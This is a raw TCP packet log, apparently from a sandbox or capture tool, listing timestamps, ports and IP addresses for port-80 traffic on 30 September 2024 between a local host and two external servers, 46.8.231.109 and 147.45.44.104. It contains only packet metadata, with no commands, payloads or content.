Sep 30, 2024 13:59:51.781447887 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781462908 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781493902 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781502008 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781513929 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781548977 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781615973 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781629086 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781639099 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781649113 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781672001 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781672001 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781682968 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781686068 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781693935 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781703949 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781706095 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781717062 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781729937 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781759977 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781833887 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781845093 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781857014 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781879902 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781896114 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781929016 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781939983 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781949997 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781960964 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781970978 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781974077 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.781981945 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.781996965 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782016993 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782063007 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782074928 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782083988 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782094955 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782099962 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782105923 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782116890 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782126904 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782131910 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782144070 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782155991 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782165051 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782176018 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782197952 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782222033 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782754898 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782876968 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782886982 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782900095 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782922983 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782928944 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782938957 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782943964 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782963037 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782963991 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782969952 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.782974958 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782984972 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.782995939 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783005953 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783010006 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783034086 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783317089 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783364058 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783381939 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783397913 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783400059 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783442020 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783601999 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783613920 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783623934 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783636093 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783638000 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783647060 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783658028 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783663988 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783675909 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783678055 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783689022 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783699989 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783699989 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783710003 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783721924 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783729076 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783732891 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783744097 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783754110 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783760071 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.783771992 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.783793926 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.784265041 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784286976 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784296989 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784307957 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.784331083 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.784359932 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784369946 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784389973 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.784420967 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.784435034 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784445047 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784468889 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784483910 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784486055 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.784486055 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.784495115 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784502983 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.784506083 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784516096 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:51.784522057 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.784538984 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.784557104 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.866556883 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:51.871536970 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041352034 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041383982 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041397095 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041408062 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041419029 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041429996 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041451931 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041522980 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041534901 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041558981 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041565895 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.041568995 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041579962 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041590929 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041599989 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.041601896 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041615963 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041623116 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.041631937 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041645050 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.041645050 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041656017 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041665077 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.041667938 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041687965 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.041706085 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.041752100 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041789055 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.041789055 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041800022 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.041824102 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.041842937 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042001009 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042013884 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042025089 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042045116 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042071104 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042071104 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042085886 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042097092 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042107105 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042109013 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042119980 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042141914 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042170048 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042191029 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042201996 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042212963 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042222977 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042226076 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042233944 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042246103 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042259932 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042290926 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042330027 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042340040 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042349100 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042360067 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042367935 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042370081 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042406082 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042423010 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042433023 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042444944 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042467117 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042483091 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042498112 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042509079 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042527914 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042531967 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042541981 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042550087 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042581081 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042589903 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042594910 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042607069 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042617083 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042629004 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.042637110 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042654037 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.042681932 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.046648026 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046669960 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046679974 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046752930 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046752930 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.046765089 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046776056 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046787977 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046798944 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.046838045 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.046866894 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046878099 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046889067 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046904087 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046902895 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.046925068 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046928883 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.046936035 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046947002 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046955109 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.046957970 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046972036 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.046979904 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.046992064 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.047002077 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.047012091 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.047025919 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.047054052 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.047161102 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.047173977 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.047192097 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.047198057 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.047203064 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.047224998 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.047224998 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.047234058 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.453681946 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.453737020 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.458643913 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.458663940 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.658088923 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.658426046 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.687190056 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.692121983 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.865253925 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.865271091 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.865281105 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:52.865350008 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.868196011 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:52.872993946 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:53.048928976 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:53.049125910 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:53.059648991 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:53.065206051 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:53.255088091 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:53.255151033 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:53.257431030 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:53.262217999 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:53.451117992 CEST	80	49732	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:53.451195002 CEST	49732	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:53.460541010 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:53.465436935 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:53.465528011 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:53.465924978 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:53.470721006 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.102777958 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.102883101 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.102895975 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.102906942 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.102920055 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.102930069 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.102941990 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.102941990 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.103003025 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.103008986 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.103053093 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.103194952 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.103214025 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.103234053 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.103254080 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.109216928 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.109232903 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.109245062 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.109276056 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.109322071 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.191637993 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.191669941 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.191690922 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.191701889 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.191713095 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.191724062 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.191731930 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.191735983 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.191746950 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.191787958 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.191798925 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.193993092 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.194006920 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.194020033 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.194030046 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.194041014 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.194046974 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.194086075 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.194103956 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.194116116 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.194125891 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.194144964 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.194164038 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.195158005 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.195171118 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.195182085 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.195192099 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.195203066 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.195214033 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.195220947 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.195252895 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.281987906 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282006025 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282027960 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282040119 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282051086 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282053947 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.282063007 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282102108 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.282181978 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.282247066 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282285929 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.282295942 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282310009 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282344103 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.282344103 CEST	49733	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:54.282367945 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282377958 CEST	80	49733	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:54.282398939 CEST	49733	80	192.168.2.6	147.45.44.104
